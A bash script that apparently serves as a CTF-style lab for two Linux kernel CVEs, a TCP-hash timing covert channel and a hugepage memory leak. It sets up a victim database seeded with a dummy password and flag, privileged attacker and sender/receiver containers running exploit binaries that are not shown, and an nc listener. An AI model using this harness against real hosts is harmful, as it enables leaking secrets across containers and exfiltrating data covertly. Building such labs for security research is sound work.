#!/bin/bash
#
# run_covert.sh - Run covert channel containers without docker-compose
#
# Usage:
#   ./run_covert.sh setup      - Setup network and victim
#   ./run_covert.sh victim     - Start victim container
#   ./run_covert.sh attacker   - Start attacker (interactive)
#   ./run_covert.sh receiver   - Start receiver
#   ./run_covert.sh sender MSG - Start sender with message
#   ./run_covert.sh cleanup    - Stop and remove everything
#

NETWORK="covert_net"
EXPLOIT_DIR="$(cd "$(dirname "$0")" && pwd)"
BASE_IMAGE="ubuntu:24.04"
IMAGE="covert_channel:latest"

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

log() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
error() { echo -e "${RED}[-]${NC} $1"; }

build_image() {
    log "Building covert channel image with gcc pre-installed..."
    
    # Check if image already exists
    if docker images -q $IMAGE 2>/dev/null | grep -q .; then
        log "Image $IMAGE already exists, skipping build"
        return 0
    fi
    
    # Build using default network (has internet access)
    docker build -t $IMAGE -f - "$EXPLOIT_DIR" << 'DOCKERFILE'
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    gcc \
    make \
    net-tools \
    iputils-ping \
    && rm -rf /var/lib/apt/lists/*
WORKDIR /exploit
DOCKERFILE
    
    log "Image $IMAGE built successfully"
}

setup_network() {
    log "Setting up Docker network with IPv6..."
    
    # Remove existing network if present
    docker network rm $NETWORK 2>/dev/null
    
    # Create network with IPv6 - use subnet from Docker's fixed-cidr-v6 range
    docker network create \
        --driver bridge \
        --ipv6 \
        --subnet 172.28.0.0/16 \
        --gateway 172.28.0.1 \
        --subnet fd00:dead:beef::/64 \
        --gateway fd00:dead:beef::1 \
        $NETWORK
    
    log "Network $NETWORK created"
    log "IPv4: 172.28.0.0/16, IPv6: fd00:dead:beef::/64"
}

setup_hugepages() {
    log "Setting up hugepages..."
    
    CURRENT=$(cat /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages)
    if [ "$CURRENT" -lt 128 ]; then
        warn "Allocating hugepages (need sudo)..."
        echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
    fi
    
    FREE=$(cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages)
    log "Hugepages available: $FREE"
    
    # Load udmabuf
    sudo modprobe udmabuf 2>/dev/null || true
    
    if [ -e /dev/udmabuf ]; then
        log "/dev/udmabuf exists"
    else
        warn "/dev/udmabuf not found - some features may not work"
    fi
}

start_victim() {
    log "Starting victim_db container..."
    
    docker rm -f victim_db 2>/dev/null
    
    docker run -d \
        --name victim_db \
        --network $NETWORK \
        --ip 172.28.0.2 \
        --ip6 fd00:dead:beef::2 \
        -e POSTGRES_PASSWORD="SuperSecretPassword123!" \
        -e POSTGRES_USER="admin" \
        -e POSTGRES_DB="secrets" \
        -e CTF_FLAG="FLAG{CVE_2024_49882_hugepage_leak_pwned}" \
        -v /dev/hugepages:/dev/hugepages \
        --shm-size=256m \
        postgres:15
    
    log "victim_db started"
    log "  IPv4: 172.28.0.2"
    log "  IPv6: fd00:dead:beef::2"
    log "Secrets in container:"
    echo "  POSTGRES_PASSWORD=SuperSecretPassword123!"
    echo "  CTF_FLAG=FLAG{CVE_2024_49882_hugepage_leak_pwned}"
}

start_attacker() {
    log "Starting attacker container (interactive)..."
    
    docker rm -f attacker 2>/dev/null
    
    docker run -it --rm \
        --name attacker \
        --network $NETWORK \
        --privileged \
        -v /dev/hugepages:/dev/hugepages \
        -v /dev/udmabuf:/dev/udmabuf \
        -v "$EXPLOIT_DIR":/exploit \
        -w /exploit \
        $IMAGE \
        bash -c "make -s 2>/dev/null || true; echo ''; echo '=== Attacker Shell ==='; echo 'Run: ./exploit_debug   (CVE-2024-49882 leak)'; echo 'Run: ./covert_channel -m   (monitor mode)'; echo ''; exec bash"
}

start_receiver() {
    log "Starting receiver container..."
    
    docker rm -f receiver 2>/dev/null
    
    # Use host network - required for CVE-2023-1206 timing channel
    # Containers must share the kernel's TCP hash table
    docker run -it --rm \
        --name receiver \
        --network host \
        --privileged \
        -v /dev/hugepages:/dev/hugepages \
        -v /dev/udmabuf:/dev/udmabuf \
        -v "$EXPLOIT_DIR":/exploit \
        -w /exploit \
        $IMAGE \
        bash -c "make -s 2>/dev/null || true; echo '[Receiver] Using host network for CVE-2023-1206'; ./covert_channel -T ::1 -r"
}

start_listener() {
    log "Starting TCP listener for traffic capture..."
    log "This allows Wireshark to see the SYN packets"
    
    # Run nc6 or socat to accept connections on port 31337
    # This makes the traffic visible to tcpdump
    docker run -d --rm \
        --name sync_listener \
        --network host \
        $IMAGE \
        bash -c "while true; do nc -6 -l -p 31337 -q 0 2>/dev/null || sleep 0.01; done"
    
    log "Listener started on [::]:31337"
    log "Capture with: sudo tcpdump -i any -n 'tcp port 31337 and ip6' -w capture.pcap"
}

start_sender() {
    local MESSAGE="${1:-Hello from covert channel!}"
    
    log "Starting sender container with message: '$MESSAGE'"
    
    docker rm -f sender 2>/dev/null
    
    # Use host network - required for CVE-2023-1206 timing channel  
    # Containers must share the kernel's TCP hash table
    docker run -it --rm \
        --name sender \
        --network host \
        --privileged \
        -v /dev/hugepages:/dev/hugepages \
        -v /dev/udmabuf:/dev/udmabuf \
        -v "$EXPLOIT_DIR":/exploit \
        -w /exploit \
        $IMAGE \
        bash -c "make -s 2>/dev/null || true; echo '[Sender] Using host network for CVE-2023-1206'; ./covert_channel -T ::1 -s '$MESSAGE'"
}

start_shell() {
    local NAME="${1:-shell}"
    
    log "Starting shell container: $NAME"
    
    docker run -it --rm \
        --name "$NAME" \
        --network $NETWORK \
        --privileged \
        -v /dev/hugepages:/dev/hugepages \
        -v /dev/udmabuf:/dev/udmabuf \
        -v "$EXPLOIT_DIR":/exploit \
        -w /exploit \
        $IMAGE \
        bash -c "make -s 2>/dev/null || true; exec bash"
}

cleanup() {
    log "Cleaning up..."
    
    docker stop victim_db attacker sender receiver 2>/dev/null
    docker rm -f victim_db attacker sender receiver 2>/dev/null
    docker network rm $NETWORK 2>/dev/null
    
    log "Cleanup complete"
}

show_status() {
    echo ""
    echo "=== Container Status ==="
    docker ps -a --filter "network=$NETWORK" --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"
    echo ""
    echo "=== Network Status ==="
    docker network inspect $NETWORK --format '{{range .Containers}}{{.Name}}: {{.IPv4Address}} {{.IPv6Address}}{{"\n"}}{{end}}' 2>/dev/null || echo "Network not found"
    echo ""
    echo "=== Hugepages ==="
    echo "Free: $(cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages 2>/dev/null || echo 'N/A')"
}

print_help() {
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║  Covert Channel Runner - CVE-2023-1206 + CVE-2024-49882      ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo ""
    echo "Usage: $0 <command> [options]"
    echo ""
    echo "Commands:"
    echo "  setup           Build image, setup network and hugepages"
    echo "  build           Build Docker image only (with gcc pre-installed)"
    echo "  victim          Start victim PostgreSQL container"
    echo "  attacker        Start attacker container (interactive shell)"
    echo "  receiver        Start receiver (runs covert_channel -r)"
    echo "  sender [MSG]    Start sender (runs covert_channel -s 'MSG')"
    echo "  shell [NAME]    Start a generic shell container"
    echo "  status          Show container and network status"
    echo "  cleanup         Stop and remove all containers"
    echo ""
    echo "Quick Start:"
    echo "  Terminal 1: $0 setup && $0 victim"
    echo "  Terminal 2: $0 receiver"
    echo "  Terminal 3: $0 sender 'SECRET MESSAGE'"
    echo ""
    echo "For CVE-2024-49882 leak test:"
    echo "  Terminal 1: $0 setup && $0 victim"
    echo "  Terminal 2: $0 attacker"
    echo "             Then run: ./exploit_debug"
    echo "  Terminal 3: docker stop victim_db  (triggers leak!)"
}

# Main
case "$1" in
    setup)
        setup_hugepages
        build_image
        setup_network
        ;;
    build)
        build_image
        ;;
    victim)
        start_victim
        ;;
    attacker)
        start_attacker
        ;;
    receiver)
        start_receiver
        ;;
    listener)
        start_listener
        ;;
    sender)
        shift
        start_sender "$*"
        ;;
    shell)
        start_shell "$2"
        ;;
    status)
        show_status
        ;;
    cleanup)
        cleanup
        ;;
    *)
        print_help
        ;;
esac
